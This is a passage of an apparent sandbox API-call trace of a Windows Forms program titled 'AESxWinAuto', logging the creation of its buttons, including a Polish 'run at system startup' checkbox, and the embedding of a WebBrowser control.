GetCurrentActCtx (in: lphActCtx=0x3aebcc | out: lphActCtx=0x3aebcc*=0x1d16a4) returned 1 [0064.957] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.957] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.957] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1", lpWindowName="Start", dwStyle=0x5e01000b, X=448, Y=228, nWidth=84, nHeight=23, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x1025c [0064.957] SetWindowLongW (hWnd=0x1025c, nIndex=-4, dwNewLong=1954854037) returned 7342746 [0064.958] GetWindowLongW (hWnd=0x1025c, nIndex=-4) returned 1954854037 [0064.958] SetWindowLongW (hWnd=0x1025c, nIndex=-4, dwNewLong=7386554) returned 1954854037 [0064.958] GetWindowLongW (hWnd=0x1025c, nIndex=-4) returned 7386554 [0064.958] GetWindowLongW (hWnd=0x1025c, nIndex=-16) returned 1308688395 [0064.958] GetWindowLongW (hWnd=0x1025c, nIndex=-12) returned 0 [0064.958] SetWindowLongW (hWnd=0x1025c, nIndex=-12, dwNewLong=66140) returned 0 [0064.958] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x81, wParam=0x0, lParam=0x3ae664) returned 0x1 [0064.958] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x83, wParam=0x0, lParam=0x3ae650) returned 0x0 [0064.958] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x1, wParam=0x0, lParam=0x3ae664) returned 0x0 [0064.958] SendMessageW (hWnd=0x1025c, Msg=0x2055, wParam=0x1025c, lParam=0x3) returned 0x2 [0064.958] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0064.958] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0064.958] GetWindow (hWnd=0x1025c, uCmd=0x3) returned 0x1025a [0064.958] GetClientRect (in: hWnd=0x1025c, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.958] GetWindowRect (in: hWnd=0x1025c, lpRect=0x3ae384 | out: lpRect=0x3ae384) returned 1 [0064.958] GetParent (hWnd=0x1025c) returned 0x401f0 [0064.958] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae384, cPoints=0x2 | out: lpPoints=0x3ae384) returned -20382145 [0064.958] SetWindowTextW (hWnd=0x1025c, lpString="Start") returned 1 [0064.958] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0xc, wParam=0x0, lParam=0x25d1f5c) returned 0x1 [0064.958] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x5, wParam=0x0, lParam=0x170054) returned 0x0 [0064.958] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x3, wParam=0x0, lParam=0xe401c0) returned 0x0 [0064.959] GetClientRect (in: hWnd=0x1025c, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.959] GetWindowRect (in: hWnd=0x1025c, lpRect=0x3ae3dc | out: lpRect=0x3ae3dc) returned 1 [0064.959] GetParent (hWnd=0x1025c) returned 0x401f0 [0064.959] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae3dc, cPoints=0x2 | out: lpPoints=0x3ae3dc) returned -20382145 [0064.959] SendMessageW (hWnd=0x1025c, Msg=0x2210, wParam=0x25c0001, lParam=0x1025c) returned 0x0 [0064.959] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x2210, wParam=0x25c0001, lParam=0x1025c) returned 0x0 [0064.959] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.959] GetParent (hWnd=0x1025c) returned 0x401f0 [0064.959] GetCurrentActCtx (in: lphActCtx=0x3aebcc | out: lphActCtx=0x3aebcc*=0x1d16a4) returned 1 [0064.959] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74820000 [0064.959] GetModuleHandleW (lpModuleName=0x0) returned 0x1120000 [0064.959] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1", lpWindowName="Uruchom ze startem systemu", dwStyle=0x5601000b, X=117, Y=228, nWidth=161, nHeight=17, hWndParent=0x401f0, hMenu=0x0, hInstance=0x1120000, lpParam=0x0) returned 0x1025e [0064.959] SetWindowLongW (hWnd=0x1025e, nIndex=-4, dwNewLong=1954854037) returned 7342746 [0064.959] GetWindowLongW (hWnd=0x1025e, nIndex=-4) returned 1954854037 [0064.959] SetWindowLongW (hWnd=0x1025e, nIndex=-4, dwNewLong=7386602) returned 1954854037 [0064.959] GetWindowLongW (hWnd=0x1025e, nIndex=-4) returned 7386602 [0064.959] GetWindowLongW (hWnd=0x1025e, nIndex=-16) returned 1174470667 [0064.959] GetWindowLongW (hWnd=0x1025e, nIndex=-12) returned 0 [0064.959] SetWindowLongW (hWnd=0x1025e, nIndex=-12, dwNewLong=66142) returned 0 [0064.959] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x81, wParam=0x0, lParam=0x3ae664) returned 0x1 [0064.960] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x83, wParam=0x0, lParam=0x3ae650) returned 0x0 [0064.960] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x1, wParam=0x0, lParam=0x3ae664) returned 0x0 [0064.960] SendMessageW (hWnd=0x1025e, Msg=0x2055, wParam=0x1025e, lParam=0x3) returned 0x2 [0064.960] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0064.960] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0064.960] GetWindow (hWnd=0x1025e, uCmd=0x3) returned 0x1025c [0064.960] GetClientRect (in: hWnd=0x1025e, lpRect=0x3ae390 | out: lpRect=0x3ae390) returned 1 [0064.960] GetWindowRect (in: hWnd=0x1025e, lpRect=0x3ae390 | out: lpRect=0x3ae390) returned 1 [0064.960] GetParent (hWnd=0x1025e) returned 0x401f0 [0064.960] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae390, cPoints=0x2 | out: lpPoints=0x3ae390) returned -20382145 [0064.960] SetWindowTextW (hWnd=0x1025e, lpString="Uruchom ze startem systemu") returned 1 [0064.960] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0xc, wParam=0x0, lParam=0x25d2114) returned 0x1 [0064.960] SendMessageW (hWnd=0x1025e, Msg=0xf1, wParam=0x1, lParam=0x0) returned 0x0 [0064.960] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0xf1, wParam=0x1, lParam=0x0) returned 0x0 [0064.960] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x5, wParam=0x0, lParam=0x1100a1) returned 0x0 [0064.960] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x3, wParam=0x0, lParam=0xe40075) returned 0x0 [0064.960] GetClientRect (in: hWnd=0x1025e, lpRect=0x3ae3e8 | out: lpRect=0x3ae3e8) returned 1 [0064.960] GetWindowRect (in: hWnd=0x1025e, lpRect=0x3ae3e8 | out: lpRect=0x3ae3e8) returned 1 [0064.960] GetParent (hWnd=0x1025e) returned 0x401f0 [0064.960] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae3e8, cPoints=0x2 | out: lpPoints=0x3ae3e8) returned -20382145 [0064.960] SendMessageW (hWnd=0x1025e, Msg=0x2210, wParam=0x25e0001, lParam=0x1025e) returned 0x0 [0064.960] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x2210, wParam=0x25e0001, lParam=0x1025e) returned 0x0 [0064.960] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0064.960] GetParent (hWnd=0x1025e) returned 0x401f0 [0064.961] GetWindowThreadProcessId (in: hWnd=0x401f0, lpdwProcessId=0x3aebe0 | out: lpdwProcessId=0x3aebe0) returned 0xa94 [0064.961] GetCurrentThreadId () returned 0xa94 [0064.961] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc1c2 [0064.961] PostMessageW (hWnd=0x401f0, Msg=0xc1c2, wParam=0x0, lParam=0x0) returned 1 [0064.961] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0064.961] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0064.961] GetSystemMetrics (nIndex=42) returned 0 [0064.961] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3aeb54, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0064.961] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3aeb54) returned 0xb [0064.962] CoCreateInstance (in: rclsid=0x25bdb3c*(Data1=0x8856f961, Data2=0x340a, Data3=0x11d0, Data4=([0]=0xa9, [1]=0x6b, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd7, [6]=0x5, [7]=0xa2)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x25ff590*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3aebd4 | out: ppv=0x3aebd4*=0x1f94f0) returned 0x0 [0064.991] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x6aabb1ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae690 | out: ppvObject=0x3ae690*=0x1f94f0) returned 0x0 [0064.991] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x6abb1dac*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3ae644 | out: ppvObject=0x3ae644*=0x0) returned 0x80004002 [0064.991] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x6abb1d9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ae464 | out: ppvObject=0x3ae464*=0x1f9598) returned 0x0 [0065.002] IProvideClassInfo:GetClassInfo (in: This=0x1f9598, ppTI=0x3ae46c | out: ppTI=0x3ae46c*=0x1fdbe4) returned 0x0 [0065.023] ITypeInfo:RemoteGetTypeAttr (in: This=0x1fdbe4, ppTypeAttr=0x3ae460, pDummy=0xcb11b455 | out: ppTypeAttr=0x3ae460, pDummy=0xcb11b455) returned 0x0 [0065.033] ITypeInfo:LocalReleaseTypeAttr (This=0x1fdbe4) returned 0x1c7f58 [0065.033] IUnknown:Release (This=0x1f9598) returned 0x2 [0065.033] IUnknown:Release (This=0x1fdbe4) returned 0x1 [0065.033] WebBrowser:IUnknown:AddRef (This=0x1f94f0) returned 0x3 [0065.033] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x6abb179c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x3adfac | out: ppvObject=0x3adfac*=0x0) returned 0x80004002 [0065.033] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x6abb198c*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x3adf5c | out: ppvObject=0x3adf5c*=0x0) returned 0x80004002 [0065.033] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x6aac2ba0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adf68 | out: ppvObject=0x3adf68*=0x0) returned 0x80004002 [0065.033] CoGetContextToken (in: pToken=0x3adfc8 | out: pToken=0x3adfc8) returned 0x0 [0065.033] CObjectContext::QueryInterface () returned 0x0 [0065.033] CObjectContext::GetCurrentApartmentType () returned 0x0 [0065.033] Release () returned 0x0 [0065.033] CoGetObjectContext (in: riid=0x6aabb1ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1fc76c | out: ppv=0x1fc76c*=0x1ae7e8) returned 0x0 [0065.090] CoGetContextToken (in: pToken=0x3ae3d8 | out: pToken=0x3ae3d8) returned 0x0 [0065.090] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x6abb1d28*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae464 | out: ppvObject=0x3ae464*=0x0) returned 0x80004002 [0065.090] WebBrowser:IUnknown:Release (This=0x1f94f0) returned 0x2 [0065.090] WebBrowser:IUnknown:Release (This=0x1f94f0) returned 0x1 [0065.090] CoGetContextToken (in: pToken=0x3aea18 | out: pToken=0x3aea18) returned 0x0 [0065.090] CoGetContextToken (in: pToken=0x3ae978 | out: pToken=0x3ae978) returned 0x0 [0065.090] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x3aea50*(Data1=0x112, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3aea48 | out: ppvObject=0x3aea48*=0x1f94d4) returned 0x0 [0065.090] IUnknown:AddRef (This=0x1f94d4) returned 0x3 [0065.090] IUnknown:Release (This=0x1f94d4) returned 0x2 [0065.090] CoGetContextToken (in: pToken=0x3aea18 | out: pToken=0x3aea18) returned 0x0 [0065.090] CoGetContextToken (in: pToken=0x3ae978 | out: pToken=0x3ae978) returned 0x0 [0065.090] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x3aea50*(Data1=0x113, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3aea48 | out: ppvObject=0x3aea48*=0x1f94e0) returned 0x0 [0065.090] IUnknown:AddRef (This=0x1f94e0) returned 0x4 [0065.091] IUnknown:Release (This=0x1f94e0) returned 0x3 [0065.091] CoGetContextToken (in: pToken=0x3aea18 | out: pToken=0x3aea18) returned 0x0 [0065.091] CoGetContextToken (in: pToken=0x3ae978 | out: pToken=0x3ae978) returned 0x0 [0065.091] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x3aea50*(Data1=0x117, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3aea48 | out: ppvObject=0x3aea48*=0x1f94e4) returned 0x0 [0065.093] IUnknown:AddRef (This=0x1f94e4) returned 0x5 [0065.093] IUnknown:Release (This=0x1f94e4) returned 0x4 [0065.093] CoGetContextToken (in: pToken=0x3aea18 | out: pToken=0x3aea18) returned 0x0 [0065.093] CoGetContextToken (in: pToken=0x3ae978 | out: pToken=0x3ae978) returned 0x0 [0065.093] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x3aea50*(Data1=0xb196b288, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3aea48 | out: ppvObject=0x3aea48*=0x1f9590) returned 0x0 [0065.093] IUnknown:AddRef (This=0x1f9590) returned 0x6 [0065.094] IUnknown:Release (This=0x1f9590) returned 0x5 [0065.094] CoGetContextToken (in: pToken=0x3aea10 | out: pToken=0x3aea10) returned 0x0 [0065.094] CoGetContextToken (in: pToken=0x3ae970 | out: pToken=0x3ae970) returned 0x0 [0065.094] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x3aea48*(Data1=0xd30c1661, Data2=0xcdaf, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x3e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xc9, [6]=0xe2, [7]=0x6e)), ppvObject=0x3aea40 | out: ppvObject=0x3aea40*=0x1f9610) returned 0x0 [0065.094] IUnknown:AddRef (This=0x1f9610) returned 0x7 [0065.094] IUnknown:Release (This=0x1f9610) returned 0x6 [0065.114] IOleObject:GetMiscStatus (in: This=0x1f94d4, dwAspect=0x1, pdwStatus=0x3aec10 | out: pdwStatus=0x3aec10*=0x20191) returned 0x0 [0065.128] IOleObject:SetClientSite (This=0x1f94d4, pClientSite=0x6f0034) returned 0x0 [0065.182] GetParent (hWnd=0x10250) returned 0x401f0 [0065.182] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x210, wParam=0x1, lParam=0x10260) returned 0x0 [0065.183] CoGetContextToken (in: pToken=0x3ae9a0 | out: pToken=0x3ae9a0) returned 0x0 [0065.183] CoGetContextToken (in: pToken=0x3ae900 | out: pToken=0x3ae900) returned 0x0 [0065.183] WebBrowser:IUnknown:QueryInterface (in: This=0x1f94f0, riid=0x3ae9d8*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ae9d0 | out: ppvObject=0x3ae9d0*=0x1f959c) returned 0x0 [0065.183] IUnknown:AddRef (This=0x1f959c) returned 0xf [0065.183] IUnknown:Release (This=0x1f959c) returned 0xe [0065.184] IConnectionPointContainer:FindConnectionPoint (in: This=0x1f959c, riid=0x3aeba8*(Data1=0x34a715a0, Data2=0x6587, Data3=0x11d0, Data4=([0]=0x92, [1]=0x4a, [2]=0x0, [3]=0x20, [4]=0xaf, [5]=0xc7, [6]=0xac, [7]=0x4d)), ppCP=0x3aeb44 | out: ppCP=0x3aeb44*=0x1f95c8) returned 0x0 [0065.203] IUnknown:QueryInterface (in: This=0x1f95c8, riid=0x6aabb1ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae5fc | out: ppvObject=0x3ae5fc*=0x1f95c8) returned 0x0 [0065.204] IUnknown:QueryInterface (in: This=0x1f95c8, riid=0x6abb1dac*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3ae5b0 | out: ppvObject=0x3ae5b0*=0x0) returned 0x80004002 [0065.204] IUnknown:QueryInterface (in: This=0x1f95c8, riid=0x6abb1d9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ae3cc | out: ppvObject=0x3ae3cc*=0x0) returned 0x80004002 [0065.204] IUnknown:AddRef (This=0x1f95c8) returned 0x11 [0065.204] IUnknown:QueryInterface (in: This=0x1f95c8, riid=0x6abb179c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x3adf14 | out: ppvObject=0x3adf14*=0x0) returned 0x80004002 [0065.204] IUnknown:QueryInterface (in: This=0x1f95c8, riid=0x6abb198c*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x3adec4 | out: ppvObject=0x3adec4*=0x0) returned 0x80004002 [0065.204] IUnknown:QueryInterface (in: This=0x1f95c8, riid=0x6aac2ba0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3aded0 | out: ppvObject=0x3aded0*=0x0) returned 0x80004002 [0065.204] CoGetContextToken (in: pToken=0x3adf30 | out: pToken=0x3adf30) returned 0x0 [0065.204] CoGetContextToken (in: pToken=0x3ae340 | out: pToken=0x3ae340) returned 0x0 [0065.204] IUnknown:QueryInterface (in: This=0x1f95c8, riid=0x6abb1d28*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3cc | out: ppvObject=0x3ae3cc*=0x0) returned 0x80004002 [0065.204] IUnknown:Release (This=0x1f95c8) returned 0x10 [0065.204] CoGetContextToken (in: pToken=0x3ae910 | out: pToken=0x3ae910) returned 0x0 [0065.204] CoGetContextToken (in: pToken=0x3ae870 | out: pToken=0x3ae870) returned 0x0 [0065.204] IUnknown:QueryInterface (in: This=0x1f95c8, riid=0x3ae948*(Data1=0xb196b286, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ae940 | out: ppvObject=0x3ae940*=0x1f95c8) returned 0x0 [0065.204] IUnknown:AddRef (This=0x1f95c8) returned 0x12 [0065.204] IUnknown:Release (This=0x1f95c8) returned 0x11 [0065.204] IUnknown:Release (This=0x1f95c8) returned 0x10 [0065.217] IConnectionPoint:Advise (in: This=0x1f95c8, pUnkSink=0x6fffcc, pdwCookie=0x260086c | out: pdwCookie=0x260086c*=0x1) returned 0x0 [0065.218] CoGetContextToken (in: pToken=0x3ae990 | out: pToken=0x3ae990) returned 0x0 [0065.218] IUnknown:AddRef (This=0x1f959c) returned 0x11 [0065.218] IUnknown:Release (This=0x1f959c) returned 0x10 [0065.218] IConnectionPointContainer:FindConnectionPoint (in: This=0x1f959c, riid=0x3aeb98*(Data1=0x9bfbbc02, Data2=0xeff1, Data3=0x101a, Data4=([0]=0x84, [1]=0xed, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppCP=0x3aeb34 | out: ppCP=0x3aeb34*=0x1f95ec) returned 0x0 [0065.218] IUnknown:QueryInterface (in: This=0x1f95ec, riid=0x6aabb1ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae5ec | out: ppvObject=0x3ae5ec*=0x1f95ec) returned 0x0 [0065.218] IUnknown:QueryInterface (in: This=0x1f95ec, riid=0x6abb1dac*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3ae5a0 | out: ppvObject=0x3ae5a0*=0x0) returned 0x80004002 [0065.218] IUnknown:QueryInterface (in: This=0x1f95ec, riid=0x6abb1d9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ae3bc | out: ppvObject=0x3ae3bc*=0x0) returned 0x80004002 [0065.219] IUnknown:AddRef (This=0x1f95ec) returned 0x13 [0065.219] IUnknown:QueryInterface (in: This=0x1f95ec, riid=0x6abb179c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x3adf04 | out: ppvObject=0x3adf04*=0x0) returned 0x80004002 [0065.219] IUnknown:QueryInterface (in: This=0x1f95ec, riid=0x6abb198c*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x3adeb4 | out: ppvObject=0x3adeb4*=0x0) returned 0x80004002 [0065.219] IUnknown:QueryInterface (in: This=0x1f95ec, riid=0x6aac2ba0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adec0 | out: ppvObject=0x3adec0*=0x0) returned 0x80004002 [0065.219] CoGetContextToken (in: pToken=0x3adf20 | out: pToken=0x3adf20) returned 0x0 [0065.219] CoGetContextToken (in: pToken=0x3ae330 | out: pToken=0x3ae330) returned 0x0 [0065.219] IUnknown:QueryInterface (in: This=0x1f95ec, riid=0x6abb1d28*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3bc | out: ppvObject=0x3ae3bc*=0x0) returned 0x80004002 [0065.219] IUnknown:Release (This=0x1f95ec) returned 0x12 [0065.219] CoGetContextToken (in: pToken=0x3ae900 | out: pToken=0x3ae900) returned 0x0 [0065.219] CoGetContextToken (in: pToken=0x3ae860 | out: pToken=0x3ae860) returned 0x0 [0065.219] IUnknown:QueryInterface (in: This=0x1f95ec, riid=0x3ae938*(Data1=0xb196b286, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ae930 | out: ppvObject=0x3ae930*=0x1f95ec) returned 0x0 [0065.219] IUnknown:AddRef (This=0x1f95ec) returned 0x14 [0065.219] IUnknown:Release (This=0x1f95ec) returned 0x13 [0065.219] IUnknown:Release (This=0x1f95ec) returned 0x12 [0065.220] IConnectionPoint:Advise (in: This=0x1f95ec, pUnkSink=0x6f002c, pdwCookie=0x26008ac | out: pdwCookie=0x26008ac*=0x1) returned 0x0 [0065.221] IOleObject:DoVerb (This=0x1f94d4, iVerb=-5, lpmsg=0x0, pActiveSite=0x6f0034, lindex=0, hwndParent=0x10250, lprcPosRect=0x26008e8) returned 0x0 [0065.221] GetParent (hWnd=0x10250) returned 0x401f0 [0065.222] IOleInPlaceObject:SetObjectRects (This=0x1f94e0, lprcPosRect=0x2600918, lprcClipRect=0x2600930) returned 0x0 [0065.226] IOleWindow:GetWindow (in: This=0x1f94e0, phwnd=0x3ae96c | out: phwnd=0x3ae96c) returned 0x0 [0065.303] SetParent (hWndChild=0x10260, hWndNewParent=0x10250) returned 0x401f0 [0065.305] GetWindowLongW (hWnd=0x10260, nIndex=-4) returned 1859419600 [0065.305] SetWindowLongW (hWnd=0x10260, nIndex=-4, dwNewLong=7386698) returned 1859419600 [0065.305] GetWindowLongW (hWnd=0x10260, nIndex=-4) returned 7386698 [0065.305] GetWindow (hWnd=0x10250, uCmd=0x3) returned 0x1024e [0065.305] GetClientRect (in: hWnd=0x10250, lpRect=0x3ae918 | out: lpRect=0x3ae918) returned 1 [0065.305] GetWindowRect (in: hWnd=0x10250, lpRect=0x3ae918 | out: lpRect=0x3ae918) returned 1 [0065.305] GetParent (hWnd=0x10250) returned 0x401f0 [0065.305] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ae918, cPoints=0x2 | out: lpPoints=0x3ae918) returned -20382145 [0065.305] GetDC (hWnd=0x0) returned 0x180107ac [0065.305] GetDeviceCaps (hdc=0x180107ac, index=88) returned 96 [0065.305] ReleaseDC (hWnd=0x0, hDC=0x180107ac) returned 1 [0065.305] GetDC (hWnd=0x0) returned 0x180107ac [0065.305] GetDeviceCaps (hdc=0x180107ac, index=90) returned 